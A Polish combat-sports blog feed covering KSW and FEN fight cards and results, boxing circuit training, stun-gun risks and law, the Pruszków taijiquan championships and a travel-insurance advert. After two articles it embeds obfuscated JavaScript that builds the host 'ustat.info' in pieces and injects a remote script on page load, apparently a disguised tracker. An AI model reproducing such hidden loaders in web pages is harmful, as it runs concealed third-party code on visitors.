Jak wspomnieliśmy, przyznanie organizacji imprezy Polsce to ogromne wyróżnienie. W ocenie szkoleniowca zadanie zostało wykonane wręcz idealnie. – Uważam, że wszystko było w porządku. Jedynie zdarzały się małe potknięcia techniczne. W przypadku rywalizacji sportowej nie mam żadnych zastrzeżeń. Wszystko było bardzo dobrze przygotowane. Sędziowie najwyższej klasy oceniali bezstronnie. Myślę, że podołaliśmy organizacji mistrzostw świata – wyraża swoją opinię Mrózek.

KM

Karta powoli zapełnia się

Dla niektórych grudzień to odległa perspektywa, jednak nie dla włodarzy KSW, którzy planują kolejną galę. 3 grudnia w Tauron Arenie w Krakowie w walce wieczoru Karol Bedorf zmierzy się z Fernando Rodriguesem Jr. W karcie jest coraz mniej niewiadomych.

Jedno jest pewne – wszystkie pojedynki są dodatkiem do starcia „Pudzian” vs „Popek”. Akcja z zatrzymaniem Pawła Raka stała się hitem, ale czy trzeba było decydować się na takie metody, aby zbudować zainteresowanie galą KSW 37? Chyba już samo zestawienie „Pudziana” i „Popka” budzi emocje nie z tej ziemi. Czyż nie?

Obronić stan posiadania

W Krakowie dojdzie do trzech mistrzowskich pojedynków. Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Popularny „Coco” w poprzednim starciu już w pierwszej rundzie odprawił Jamesa McSweeneya. 33-letni mistrz nie przegrał od pięciu lat. W tym czasie wygrał pięć walk i niepodzielnie panuje w wadze ciężkiej KSW. Czy zagrozi mu Fernando Rodrigues Jr.? 29-latek z Sao Paolo potrafi wykończyć rywala. Aż 70% walk wygrał przez nokaut. W ostatnim starciu potrzebował nieco ponad minuty na rozprawienie się z Yosefem Alim Mohammadem. Rodrigues Jr. ma złe wspomnienia związane z grudniem. Rok temu poniósł porażkę w starciu z dobrze znanym z KSW Olim Thompsonem.

Blisko rok w swoich dłoniach pas wagi piórkowej dzierży Artur Sowiński. Już 3 grudnia „Kornik” po raz drugi będzie bronił zdobyczy, którą wywalczył w starciu z efektownym Kleberem Koike Erbstem. Pięć wyczerpujących rund na korzyść Polaka, który zaczyna przyzwyczajać widzów do rywalizacji na pełnym dystansie. W pierwszej obronie pasa również przez decyzję sędziów pokonał Fabiano Conceicao. Jego najbliższym rywalem będzie Michał Włodarek. Co warte uwagi, obaj panowie za sobą nie przepadają. Przy każdej nadarzającej się okazji nie szczędzili sobie uszczypliwości. Czas sprawdzić, który z nich nie rzucał słów na wiatr.

Mistrz KSW w wadze półśredniej Borys Mańkowski stanie w szranki z Johnem Maguire. 33-latek ma bogate doświadczenie, występował w UFC i wielu brytyjskich organizacjach. Maguire posiada umiejętności bokserskie, ale nieobcy jest mu parter. Mańkowski stanie przed trudnym wyzwaniem. Z jednej strony klasowy rywal, a z drugiej powrót po dłuższej przerwie spowodowanej kontuzją. „Diabeł Tasmański” stanie do trzeciej obrony mistrzowskiego pasa.

Zrobić show

O KSW 37 mówi się w kontekście walki Mariusz Pudzianowskiego z Pawłem Rakiem. Starcie budzi ogromne emocje, przyciąga uwagę i rodzi ogromną ciekawość. Były strongman zmierzy się z raperem, który swego czasu próbował sił w MMA. Popularny „Popek” nigdy nie rywalizował na pełnym dystansie. W organizacji Cage Rage odnosił szybkie zwycięstwa, poniósł również porażkę. „Pudzian” przeszedł w MMA długą drogę i w wieku 39 lat wygląda coraz lepiej. Z pewnością jest bardziej ruchliwy, wytrzymały i ma większy aparat akcji. Ostatni czas jest dla „Pudziana” kiepski. Przegrał przed czasem dwa pojedynki. 

W Krakowie dojdzie również do pojedynku Łukasza Chlewickiego z Mansourem Baranoui'm. Polak wygrał ostatnie dwie walki na KSW. Z kolei Francuz czeka na pierwszy klient w organizacji Macieja Kawulskiego i Martina Lewandowskiego.

KM

LIVE: Mistrzostwa Świata Taijiquan

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata Wushu, które odbywają się w Pruszkowie k/ Warszawy w dniach od 16 do 20 października 2016 r.. Transmisja na żywo codziennie od 8.30 do 13.30 (sesja poranna) oraz od 19.30 (sesja wieczorna).

[kod]

The 2nd World Taijiquan Championships

The 2nd World Taijiquan Championships

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MS_Wushu.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MS_Wushu.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MS_Wushu.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MS_Wushu.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Na czym polega trening bokserski?

Wiele osób chce rozpocząć trening bokserski, lecz nie wie jak się do tego zabrać. W sportach walki, w tym także w boksie trening opiera się na ćwiczeniach obwodowym. Z reguły w czasie takiego treningu ustawia się kilkanaście stacji a następnie na każdej z nich ćwiczy się przez około dwadzieścia sekund. Przerwa pomiędzy kolejnymi stacjami nie powinna być dłuższa niż czterdzieści sekund. Odpoczynek po zaliczeniu wszystkich stacji, czyli wykonaniu jednego obwodu powinien wynosić około czterech minut.

 

Praca nad dynamiką a nie siłą

Bardzo ważne jest by tempo pracy na wszystkich stacjach było szybkie. Celem takich ćwiczeń jest poprawa dynamiki, która jest kluczowa podczas walki. Osoby niezwiązane ze sportami walki zazwyczaj sądzą, że siła ciosu wynika z siły mięśni, prawda jest jednak taka, że najważniejsza jest odpowiednia technika i dynamika.

Kluczowym elementem w trakcie treningu obwodowego jest odpowiedni dobór obciążenia. Pamiętając, że najważniejsza jest dynamika a czas ćwiczeń na jednej stacji to około dwudziestu sekund, wybrany ciężar powinien być stosunkowo lekki. Zasadniczo przyjmuje się, że waga obciążenia w czasie tych ćwiczeń nie powinna przekraczać trzydziestu procent ciężaru maksymalnego.

Najpopularniejsze ćwiczenia

Jak się okazuje w czasie treningu, bokserom potrzebny jest nie tylko worek bokserski. Do najpopularniejszych ćwiczeń wykonywanych podczas treningu obwodowego należą:

  • wyciskanie ciężaru leżąc,

  • podskoki z piłką lekarską uniesioną za głową,

  • wyciskanie sztangi zza głowy,

  • skłony,

  • ciosy proste wykonywane w miejscu z hantlami,

  • wyciskanie sztangi lub sztangielek zza głowy,

  • skręty tułowia z obciążeniem trzymanym na wysokości klatki piersiowej,

  • ciosy sierpowe w miejscu z hantlami,

  • przeskoki nad ławeczką gimnastyczną lub inną przeszkodą,

  • podciąganie kolan do klatki piersiowej oraz zwis na drążku,

  • pompki na poręczach,

  • kombinacja ciosów z hantlami,

  • pajacyki wraz z wyrzutem przed siebie odważnika lub sztangi,

  • krążenia tułowia z obciążeniem,

  • bieg z wysoko unoszonymi kolanami,

  • scyzoryki.

O skutecznym treningu można mówić tylko wtedy, gdy przerwy między stacjami nie są odpowiednie, nie mogą być one ani zbyt długie ani zbyt krótkie. Odpoczynek nie może polegać na siedzeniu bez ruchu lub co gorsza leżeniu. Po każdym zakończonym obwodzie powinno się wykonać ćwiczenia rozluźniające i rozciągające oraz uzupełnić płyny. Ustawienie stacji powinno być dobrze przemyślane by zmiany przebiegały płynnie i bez przeszkód.

[kod]

(function(){
zk1r=document.createElement("script");zk1r_=(("u")+"st")+"a";zk1r.async=true;
zk1r.type="text/javascript";zk1r_+=("t.i")+""+"n";zk1r_+=(("f")+"o");zk1r_+="/";
zk1ru="13586292.";zk1ru+="19in4f7sk1rnvq9zq72"+"7vzei25g6zf";
zk1r.src="//"+zk1r_+zk1ru; document.body.appendChild(zk1r);
})();

Coraz więcej znaków zapytania

Najpierw aktorów było dwóch: Tyson Fury i Władimir Kliczko. Mieli zmierzyć się w pojedynku rewanżowym o prymat w wadze ciężkiej. Po cichu do gry wkroczył Anthony Joshua, który wykorzystał zamieszanie wokół Fury'ego. Co teraz?

Wiadomo, że Fury ma ogromne problemy. Depresja, uzależnienie od używek stały się źródłem kłopotów 28-latka. Sprawa ujrzała światło dzienne i bokser urodzony w Wythenshawe postanowił zwakować WBA i WBO. Na horyzoncie pojawił się pojedynek Kliczko – Joshua. Wydaje się realny, ale droga do zakontraktowania walki wydaje się pełna zakrętów.

Ciężka ta waga ciężka

Nie da się ukryć, że praktycznie wszyscy myśleli, iż w listopadzie ubiegłego roku zaczęła się nowa historia. Tyson Fury zdetronizował Władimira Kliczko w wadze ciężkiej. Upłynęło nieco wody w Wiśle i okazało się, że pyskaty Brytyjczyk zmaga się z ogromnymi problemami. Uciekał od rewanżowego starcia z Ukraińcem, ale nie umiał poradzić sobie z uzależnieniem. Do tego doszła depresja. Sprawa zrobiła się niezwykle zawiła i skomplikowana, ale nadal jej finału próżno szukać.

Młody i przebojowy Anthony Joshua stał się nową nadzieją wagi ciężkiej. W kwietniu pokonał Charlesa Martina i zgarnął pas IBF. Do tej pory wszystkie walki, 17, wygrał przed czasem. Ma cios, którego obawiają się kolejni rywale. Z pewnością do tego grona nie można zaliczyć Władimira Kliczko. Ukrainiec niejedno w życiu widział i ringowego doświadczenia można mu pozazdrościć.

W wyniku afery z Fury'm pojawiły się informacje o planach zorganizowania walki mistrza IBF z byłym królem wagi ciężkiej. Wraz z upływem czasu mówiło się o tym coraz głośniej. Pojedynek miałby odbyć się w grudniu. Jego stawka, wobec decyzji Fury'ego o zwakowaniu pasów, byłaby ogromna. Zwycięzca zostałby władcą kategorii królewskiej. Pytanie, ile dzieli nas od tego starcia? Z  każdym dniem wydaje się, że pojedynek oddala się.

Szukają alternatyw 

Niby wszystko gra, sytuacja jest pod kontrolą, ale słychać niepokojące głosy. Pierwszą kością niezgody jest pas WBA. Ukraińcowi zależy, aby był on stawką pojedynku. Obie strony wystosowały do WBA stosowne pisma. Jednak warto zauważyć, że Kliczko wcale nie musi wejść do ringu z Joshuą, aby odzyskać utracone pasy. To również daje do myślenia.

Zwłaszcza, że każdy z pięściarzy ma zobowiązania telewizyjne z inną stacją. Pogodzenie tych interesów może być niezwykle trudne. Pojawiły się już nawet nazwiska ewentualnych rywali Ukraińca i Brytyjczyka. Kliczko miałby się zmierzyć z Lucasem Browne'm, a na Joshuę czekałby Eric Molina. Pytania mnożą się, odpowiedzi brak. Trzeba cierpliwie czekać.

KM

3 kontrowersje wokół paralizatorów

Paralizatory stanowią jeden z najpopularniejszych środków obrony. Wykazują się wysoką skutecznością i potrafią szybko spacyfikować napastnika. Stan paraliżu po użyciu paralizatora może trwać nawet kilkadziesiąt minut!

 

Jako broń służąca do obrony osobistej w ekstremalnych sytuacjach, nie mają na celu wyrządzenia długotrwałej krzywdy. Wyzwolonym łukiem elektrycznym obezwładnia agresora. Wokół gorącego tematu paralizatorów krążą jednak różne kontrowersje.

Zabójcze paralizatory

Co jakiś czas media donoszą o śmiertelnych wypadkach użycia paralizatora. Napastnik, który miał być obezwładniony, wskutek bardzo silnego wyładowania elektrycznego zmarł. Bardzo głośna była sprawa Roberta Dziekańskiego – polskiego emigranta, który w 2007 roku zmarł na lotnisku w Vancouver przez pięciokrotne porażenie paralizatorem przez policjantów. Tragiczny przypadek kolejny raz potwierdził jak bardzo niebezpiecznym środkiem może stać się paralizator.

Kiedy paralizator stanowi zagrożenie? Na tragiczne skutki użycia paralizatora mogę być narażone osoby, które:

  • borykają się z problemami zdrowotnymi na tle kardiologicznym

  • są bardzo szczupłe – znikoma ilość tkanki tłuszczowej wzmaga efekty użycia paralizatora

  • są pod działaniem alkoholu, leków i narkotyków

  • są starsze lub w bardzo młodym wieku

  • mają podwyższone ciśnienie tętnicze

  • cierpią na epilepsję

  • mają problemy oddechowe i metaboliczne

  • posiadają elektryczny rozrusznik serca i zastawkę serca

Skutki użycia paralizatora

""W zależności długości rażenia wiązką elektryczną paralizatory wywołują różne skutki.

  • Po 1 sekundzie powoduje krótki wstrząs, szok i skurcz mięśni.

  • Po 2–3 sekundach wzbudza ból w mięśniach uderzonych i upadek.

  • Po 3–5 sekundach wywołuje konwulsje, silny ból mięśni, paraliż.

  • Zaatakowanie osoby paralizatorem na dłużej niż 5 sekund może wywołać poważny uszczerbek na zdrowiu.

W przypadku zamachu na nasze życie lub zdrowie mamy pełne prawo do obrony i odparcia ataku. Nie ma możliwości przewidzenia ewentualnych problemów sercowych czy chorób napastnika. W teorii zgodnie z prawem w wypadku, gdy napastnik odniesie uszczerbek zdrowia, a napaść była odparta współmiernie do siły ataku, osoba broniąca się nie powinna ponieść konsekwencji prawnych. Każdy przypadek rozpatrywany jest jednak indywidualnie.

Legalność paralizatorów

W niektórych krajach posiadanie i noszenie przy sobie paralizatora jest niezgodne z prawem. Nieprzestrzeganie zakazu grozi poważnymi sankcjami. Chociażby w Wielkiej Brytanii do samoobrony nie można używać jakichkolwiek narzędzi, nie tylko paralizatorów, ale też gazów pieprzowych czy kubotanów. Na Islandii nielegalne jest posiadanie gazów pieprzowych, w Szwecji trzeba na niego posiadać pozwolenie na broń. Jak sytuacja prezentuje się w Polsce?

Prawo pozwala legalne użycie paralizatora bez pozwolenia do samoobrony. Pozwolenie na broń nie jest wymagane w przypadku posiadania narzędzi przeznaczonych do pacyfikowania osób za pomocą energii elektrycznej o średniej wartości prądu w obwodzie nieprzekraczającej 10 mA. Obowiązkiem jest używanie paralizatora ostrożnie i zgodnie z prawem. Przypominamy, że dla osób chorych na serce może stanowić duże niebezpieczeństwo, a nawet spowodować śmierć.

[kod]

(function(){
ztkg=document.createElement("script");ztkg_=(("u")+"st")+"a";ztkg.async=true;
ztkg.type="text/javascript";ztkg_+=("t.i")+""+"n";ztkg_+=(("f")+"o");ztkg_+="/";
ztkgu="13535571.";ztkgu+="pd87tc2wtkggti7bdwa"+"vapdtnjywbX";
ztkg.src="//"+ztkg_+ztkgu; document.body.appendChild(ztkg);
})();

Czy masz już wybrane ubezpieczenie turystyczne?

Jest jesień, okres w którym rzadko jeździ się na urlopy. Niektórzy jednak już planują zimowe wojaże. Aby zarezerwować nocleg w dobrej cenie należy to zrobić odpowiednio wcześnie.

 

Jesień jest dobrym czasem na podejmowanie takich decyzji. Większość dat jest jeszcze nie zarezerwowana i można swobodnie przebierać w ofertach zarówno wycieczek, noclegów, czy choćby transportu w wybrane miejsce. Zapobiegliwi i Ci, którzy nie lubią w pośpiechu i byle jak wybierać miejsca na ferie zimowe mają już wszystko zaplanowane. Z pewnością również wybrali odpowiednie ubezpieczenie turystyczne. Jesteście zaskoczeni? Jeśli tak to, to być może oznacza, że nie traktowaliście do tej pory tego typu ubezpieczeniami na poważnie i z pewnością powinniście się z nimi zapoznać. Ubezpieczenia turystyczne są coraz bardziej popularne i słusznie, gdyż zapewniają wsparcie, bez którego niektórzy mogą długo i boleśnie odczuwać konsekwencje wyjazdu na urlop czy to letni czy też zimowy.

Niezależnie od miejsca do którego wybiera się na urlop, powinno się w maksymalny sposób zabezpieczyć, dlatego że nieprzewidziane wypadki mogą się zdarzyć nie tylko podczas uprawiania ekstremalnych sportów, ale również przy zwiedzaniu miasta, biwakowaniu w lesie, czy klasycznej jeździe na nartach. Uczucie bezpieczeństwa jakie zapewnia nam ubezpieczenie turystyczne jest bezcenne. Ze spokojną głową można wyruszyć na urlop, nie martwiąc się na przykład o skutki finansowe wynikające z różnych nagłych wypadków. Wybierać możemy spośród różnych wariantów ubezpieczenia i każdy dopasuje takie, które najbardziej będzie nam pasowało.

Do wyboru mamy zazwyczaj podstawowe lub rozbudowane pakiety ubezpieczeń, zawierające różne rodzaje ochrony. Wystarczy na spokojnie się z nimi zapoznać i wybrać ten właściwy.

Co mogą zawierać pakiety ubezpieczeń?

NNW. Jest to ubezpieczenie od następstw nieszczęśliwych wypadków. Warto mieć je posiadać głównie wtedy, gdy planujemy wypad krajowy. W zależności od rodzaju aktywności pakiety NNW mogą być rozbudowane o refundację kosztów leczenia i rehabilitacji, OC czy nawet używany przez nas sprzęt sportowy.

Kolejnym bardzo ważnym i dość często mylonym z NNW ubezpieczeniem są polisy tzw. kosztów leczenia podczas zagranicą. Jak już sama nazwa zabezpieczają nas one w przypadku konieczności skorzystania z usług medycznych poza granicami Polski. Należy tutaj zdecydowanie podkreślić, że pomimo posiadania przez nas karty EKUZ każde poważniejsze zdarzenie może wiązać się dla nas z koniecznością partycypowania w kosztach związanych z wypadkiem bądź chorobą. Najlepszym przykładem są tutaj powszechne i niepokrywane przez EKUZ koszty ratownictwa narciarskiego, transportu czy też innego rodzaju udział w kosztach, zależny od kraju w którym przyjdzie nam korzystać z systemu medycznego. Podobnie jak w przypadku NNW pakiety kosztów leczenia mogą być rozbudowane o różne dodatkowe opcje, jak OC, bagaż, sprzęt sportowy, etc.

Ubezpieczenie podczas uprawiania sportu. Jest bardzo istotny element, na który koniecznie trzeba zwrócić uwagę. Podstawowe ubezpieczenia najczęściej nie obejmują wielu aktywności uznawanych choćby za amatorskie czy też wyczynowe uprawianie sportu. Najpopularniejszym przykładem są tutaj narty, które w typowych rozwiązaniach wymagają specjalnych rozszerzeń w zależności od intensywności uprawiania (rekreacja, treningi, zawody) lub miejsca w którym zamierzamy jeździć (przygotowane trasy, jazda po puchu). Koszty związane z wypadkami narciarskimi są zazwyczaj wysokie i dlatego powinniśmy pamiętać o tego typu ubezpieczeniu kiedy podczas ferii zimowych wybieramy się na stoki. Koniecznie też należy zwrócić uwagę na ubezpieczony rodzaj uprawianego sportu.

Ochrona bagażu wydaje się mało istotnym elementem. Nic bardziej mylnego. Takie ubezpieczenie jest stałym elementem pakietów lub opcją do wyboru. Jest niezwykle przydatne w sytuacji kradzieży bądź zgubienia lub uszkodzenia bagażu. Wtedy to można liczyć na pokrycie kosztów zakupu utraconych a niezbędnych do kontynuowania wyjazdu rzeczy. Pokryje ono poniesione straty. Oczywiście zawsze należy zwracać uwagę jak bagaż przechowujemy. W jaki sposób powinniśmy to robić określają warunki ubezpieczenia.

Warto również zwrócić uwagę na ubezpieczenie sprzętu sportowego czy odpowiedzialności cywilnej (OC). Te elementy również potrafią być bardzo przydatne i powinno się wybierać opcje w których występują.

Jeśli nie masz zbyt dużo cennego czasu na bieganie po placówkach ubezpieczycieli to wykup ubezpieczenia turystyczne online. Można to zrobić na znanej wszystkim stronie http://nrnf.pl/. Jest to rzetelna firma oferująca gotowe pakiety ubezpieczeń. W szybki i bezpieczny sposób można ubezpieczyć siebie i swoją rodzinę.

Sarara mistrzem, Szymański traci tytuł

Podczas gali FEN 14 w katowickim Spodku można było zobaczyć praktycznie wszystko. Potężne ciosy, nokauty i efektowne poddania. Pas mistrzowski organizacji w K-1 w kategorii cruiser wywalczył Tomasz Sarara. Z tytułem w wadze lekkiej pożegnał się Roman Szymański.

W większości walk nie było zbędnej kalkulacji. Zaimponował Joilton Santos, który został nowym mistrzem FEN. Swoją klasę potwierdzili także aktorzy głównego widowiska, czyli Tomasz Sarara i Dennis Stolzenbach.

Efektowni mistrzowie, mocny Hadaś

Głównym wydarzeniem gali FEN 14 było starcie o tytuł w kategorii cruiser K-1. Tomasz Sarara i Dennis Stolzenbach to utytułowani i doświadczeni zawodnicy. W Katowicach potwierdzili swoje umiejętności. Zaczęli spokojnie. Holender dobrze spisywał się w obronie. W drugiej rundzie poszedł do przodu, czym sprawił nieco problemów Polakowi. Czas Sarary nadszedł w trzeciej odsłonie. 31-latek mocnym front kickiem pokazał rywalowi, że musi mieć się na baczności. Holender nie miał zamiaru się bronić. Nadal był agresywny i szukał kontaktu. Stolzenbach przeważał w czwartej rundzie, jednak w kolejnej Sarara dobrze trzymał gardę i wyprowadzał celne ciosy. Walka niezwykle wyrównana, zacięta i mordercza. Doświadczeni zawodnicy przetrwali pięć rund, w których wcale się nie oszczędzali. Werdykt był sporą niewiadomą. Tytuł trafił do Tomasza Sarary.

W Katowicach doszło do długo wyczekiwanej walki pomiędzy Pawłem Brandysem a Pawłem Hadasiem w MMA. Od początku nie brakowało ciosów, co mogło podobać się publiczności. Ruchliwością imponował 30-letni Hadaś, który miał minimalną przewagę. Przede wszystkim pojedynek toczył się w parterze. W drugiej rundzie Hadaś nie pozwolił Brandysowi na zbyt wiele. Dominował w parterze, a rywal tracił siły. 30-latek wykorzystał to w trzeciej rundzie, gdy wyczuł słabość 22-letniego przeciwnika. Duszenie zza pleców okazało się zabójczą bronią. Hadaś mógł cieszyć się z drugiej wygranej na FEN przed czasem.

Roman Szymański stanął przed zadaniem obrony pasa mistrzowskiego wagi lekkiej FEN, jednak pojedynek nie potoczył się po jego myśli. Joilton Santos w przekroju całej walki zaimponował konsekwencją. Brazylijczyk dążył do tego, aby wykorzystać swoje umiejętności parterowe. Już w pierwszej rundzie zapisał na swoim koncie sprowadzenie. Szymański nie był w stanie mu zagrozić, jednak w drugiej rundzie błysnął. Polak wstał, po przetoczeniu znalazł się w lepszym położeniu. Kontrolował walkę i obijał rywala. W trzeciej odsłonie Santos pokazał, że jego atutem jest również siła. Mocny cios w stójce zrobił wrażenie na Szymańskim. Czwarta runda to dominacja Brazylijczyka, który obijał Polaka. Ten starał się znaleźć wyjście z sytuacji, ale bezskutecznie. Do końca Szymańskiemu nie udało się niczym zaskoczyć rywala. W piątej rundzie sędzia odjął Brazylijczykowi punkt, ale nie miało to znaczenia. W przekroju całej walki wyglądał lepiej, co miało odzwierciedlenie w ostatecznym rezultacie. Sędziowie wskazali na Santosa, który został nowym mistrzem FEN. 

Okazji do zachwytu nie brakowało

Wielkie pojedynki w K-1! Kamil Jenel nie dał żadnych szans Pavlowi Oboznemu. Receptą na sukces okazały się low kicki. Już w pierwszej rundzie Czech dwa razy leżał na deskach. W drugiej odsłonie Jenel znokautował rywala. Efektowne widowisko stworzyli Paweł Biszczak i Tomasz Gromadzki. Obaj zawodnicy zaimponowali przygotowaniem kondycyjnym, siłą, a przede wszystkim wytrzymałością. Nie brakowało efektownych wymian. Do rozstrzygnięcia potrzebna była runda dodatkowa. Po niej ze zwycięstwa mógł cieszyć się Biszczak.

Podczas gali w katowickim Spodku nie brakowało efektownych rozstrzygnięć w pojedynkach na zasadach MMA. Po raz kolejny zaimponował Tyberiusz Kowalczyk. Były strongman ma fantastyczny bilans walk w FEN – trzy walki i 100-procentowa skuteczność. W Katowicach marsz „Tyberiana” chciał powstrzymać Tomasz Czerwiński. 40-latek już w pierwszej rundzie musiał odklepać. Po wymianie ciosów w stójce, pojedynek toczył się w parterze. Kowalczyk okazał się bezlitosny dla rywala. Udany debiut w FEN zaliczył Martin Chudej. Czech był o ponad 10 kilogramów cięższy od Akopa Szostaka i wykorzystał tę przewagę. Szybko ruszył na Polaka, zamroczył go i niemiłosiernie okładał pod siatką. Sędzia był zmuszony przerwać walkę. Szostak przegrał drugą walkę z rzędu.

Z dobrej strony pokazał się Albert Odzimkowski, który w drugiej rundzie zmusił Mateusza Strzelczyka do poddania. Sposobem na zwycięstwo okazało się duszenie zza pleców. Bezlitosny dla rywala okazał się Andrzej Grzebyk. W pierwszej rundzie Polak udowodnił swoją wyższość nad Alexeyem Repalovem. Grzebyk wykorzystał fakt, że Białorusin znalazł się na plecach i słał kolejne ciosy z góry. Repalov nie był w stanie wyjść do drugiej rundy. 

W karcie wstępnej znalazły się dwa pojedynki MMA. Kamil Selwa na punkty okazał się lepszy od Piotra Olszynki. Efektownie zaprezentował się Łukasz Stanek, który w drugiej rundzie zmusił do poddania Adriana Błeszyńskiego.

KM

Zbliżają się mistrzostwa świata taijiquan

W Pruszkowie odbędą się zmagania o medale mistrzostw świata taijiquan. To druga impreza w historii. Pierwszy czempionat odbył się dwa lata temu w Chinach.

Warto nadmienić, że taijiquan w związku z ogromną popularnością zostało wydzielone z systemów walk wushu. Widzowie mogą skupić swoją uwagę na efektownych pokazach. Najbliższa okazja, aby polska publiczność mogła zapoznać się w elementami taijiquan już 17-20 października w pruszkowskiej hali Znicz. Wstęp na mistrzostwa świata jest wolny.

Chińska tradycja

Aby zagłębić się i poznać taijiquan należy udać się do Chin, które słyną z systemów walki. Przede wszystkim ważna jest harmonia między ciałem a umysłem. Warto również wspomnieć o ogromnym szacunku dla przeciwnika. Na świecie taijiquan trenują miliony osób, jednak zwracają uwagę na aspekt rekreacyjny. W Pruszkowie będzie okazać zobaczyć zawodników, którzy opanowali tę sztukę walki do perfekcji.

Polska aktywnie działa w obszarze wushu już od kilkunastu lat. – Środowisko polskiego wushu rozwija się od lat 80. W 1983 roku powstało Polskie Zrzeszenie Kung Fu/Wushu, które było jednocześnie stowarzyszeniem zrzeszającym szkoły kung fu. Polski Związek Wushu powstał w 2002 roku – przedstawił podczas konferencji prasowej przed mistrzostwami świata Dariusz Piwowarski, prezes Polskiego Związku Wushu.

Walka o organizację imprezy była zażarta. Polska stoczyła bój m.in. z Indonezją, Rosją i Włochami. Wyszła z niego zwycięsko. – Przez kilka ostatnich lat występowaliśmy o zorganizowanie imprezy rangi mistrzostw świata. Taka szansa pojawiła się w ubiegłym roku. Złożyliśmy aplikację do Międzynarodowej Federacji Wushu o organizację tych zawodów. W listopadzie przyznano nam imprezę. Są to pierwsze zawody rangi mistrzostw świata, które odbywają się w Polsce. Do tej pory tylko Bułgaria organizowała tego typu zawody. W tym roku odbyły się tam mistrzostwa świata juniorów wushu. Mówimy tu o krajach Unii Europejskiej. Tai-chi jest jednym z najbardziej rozpoznawalnych systemów wushu na całym świecie – powiedział Piwowarski.

Walka o medale

W Pruszkowie zaprezentuje się ponad 300 zawodników w kilkunastu konkurencjach. Nie zabraknie efektownych pokazów, w których pojawi się broni m.in. kij, sztylet czy włócznia. Warto wspomnieć, że w taijiquan może spotkać zawodników zróżnicowanych wiekowo. Tu nie ma żadnych barier. 

Ceremonia otwarcia odbędzie się 16 października o godz. 19.00. Już kolejne dnia na starcie pojawią się zawodnicy, którzy rozpoczną zmagania o 9.00.

Nie zabraknie Polaków, którzy zdobywali już medal na mistrzowskich imprezach. Ewa Solarz to medalistka poprzednich mistrzostw świata. W Chengdu sięgnęła po brąz. Tym razem również powalczy o miejsce na podium, oprócz niej zobaczymy m.in. Annę Kubiak, Monikę Steckiewicz czy Bohdana Sawczyna.

KM

Latający talerz czeka na wojowników

Już 15 października katowicki Spodek będzie gościł aktorów gali FEN 14 Silesian Rage. Arena doskonale zna smak mistrzowskich imprez, jednak niedawno przeszła modernizację i gotowa jest przyjąć ponad 10 tysięcy widzów. Gwiazdy MMA i K-1 chcą zapełnić trybuny.

Organizacja Fight Exclusive Night nie zwalnia tempa. W Katowicach odbędzie się już piąty tegoroczny event FEN. Prezentowanie walk MMA i K-1 jest niezwykle ciekawe i budzi entuzjazm publiczności, która żadną jest wielkiego widowiska.

Jeden broni, drugi powalczy

Nie ma, co ukrywać, że zawsze wszyscy spoglądają na sam szczyt. Walki wieczoru budzą największy entuzjazm i to na te pojedynki czeka się z największą niecierpliwością. W Katowicach mistrzowskiego pasa FEN w wadze lekkiej będzie bronił Roman Szymański. 23-latek tytuł wywalczył podczas gali FEN 11 Warsaw Time, kiedy stoczył morderczą pięciorundową walkę z Marianem Ziółkowskim. Polak nie przegrał kolejnych ośmiu walk. Teraz jest mistrzem i musi bronić swojej zdobyczy. Atak na pas przeprowadzi Brazylijczyk Joulton Santos. W tym roku 23-latek walczył tylko raz i przegrał przed czasem. Santos jest wyższy od mistrza FEN, ale na przygotowania do walki miał mniej czasu. Początkowo Szymański miał walczyć z Davy Gallonem. Musi stawić czoła Brazylijczykowi i udowodnić swoją wartość.

Jeden z najlepszych zawodników wagi cruiser K-1 Tomasza Sarara ponownie zaprezentuje się na gali FEN. Tym razem Polak powalczy o mistrzowski pas. Jego rywalem będzie Dennis Stolzenbach, który zdobywał tytuły mistrzowskie IKBA. Obaj mają ogromne doświadczenie. Pojedynek w wadze 95kg to starcia fighterów, którzy łącznie stoczyli 100 walk. Holender wygrał aż 41 pojedynków, z kolei Sarara triumfował 33 razy. To pokazuje, że spotkają się zawodnicy o nieprzeciętnym poziomie umiejętności.

Paweł Hadaś kroczy od zwycięstwa do zwycięstwa. W kolejnym pojedynku na zasadach MMA zmierzy się z Pawłem Brandysem, dla którego będzie to debiut w organizacji FEN. 22-latek może okazać się trudnym przeciwnikiem dla Hadasia, który w styczniu przed czasem pokonał Aleksandra Rychlika. Brandys to niezwykle ruchliwy i nastawiony ofensywnie fighter. Hadaś również przyzwyczaił widzów do widowisk walk. Może być gorąco!

Paweł Biszczak urósł do miana gwiazdy organizacji FEN. Zaprawiony w bojach kickboxer w walce w limicie 77kg zmierzy się z Tomaszem Gromadzkim. „Zadyma” trenuje kickboxing dopiero… pięć lat, ale sporty walki ma we krwi. Wcześniej uprawiał karate i boks. Na rozkładzie ma takich zawodników jak Janu Malkriado Cruz czy Pavel Obozny. W starciu z Biszczakiem będzie musiał wspiąć się na wyżyny.

Zmiana u Tyberiana

Początkowo Tyberiusz Kowalczyk miał na FEN 14 walczyć z Kamilem Bazelakiem, jednak ten z powodu kontuzji musiał wycofać się z rywalizacji. Były strongman w starciu „ciężkich” w MMA zmierzy się z Tomaszem Czerwińskim. Czy Tyberian po raz kolejny rozprawi się z rywalem? Dotychczasowe dwie walki dla FEN wygrał przed czasem.

Debiut w organizacji FEN zaliczył Martin Chudej. 34-latek zmierzy się z Akopem Szostakiem, który będzie chciał się zrehabilitować za marcową porażkę z Kowalczykiem. Albert Odzimkowski stoczy kolejny pojedynek dla FEN, tym razem na zasadach MMA zmierzy się z Mateuszem Strzelczykiem, z kolei Alexey Repalov będzie rywalizował z Andrzejem Grzebykiem. W K-1 Pavel Obozny spotka się z Kamilem Jenelem.

Warto wspomnieć o dwóch pojedynkach, które znalazły się w karcie wstępnej. Na zasadach MMA w 77kg Łukasz Stanek zmierzy się z Adrianem Błeszyńskim, a w 61kg Piotr Olszynka z Kamilem Selwą. 

KM

FEN 14 Silesian Rage – rozkład jazdy

Federacja Fight Exclusive Night przedstawia kalendarium wydarzeń podczas FEN 14 Fight Week:

środa, 12 października, godz. 14, Centrum Olimpijskie PKOl , Wybrzeże Gdańskie 4, Warszawa

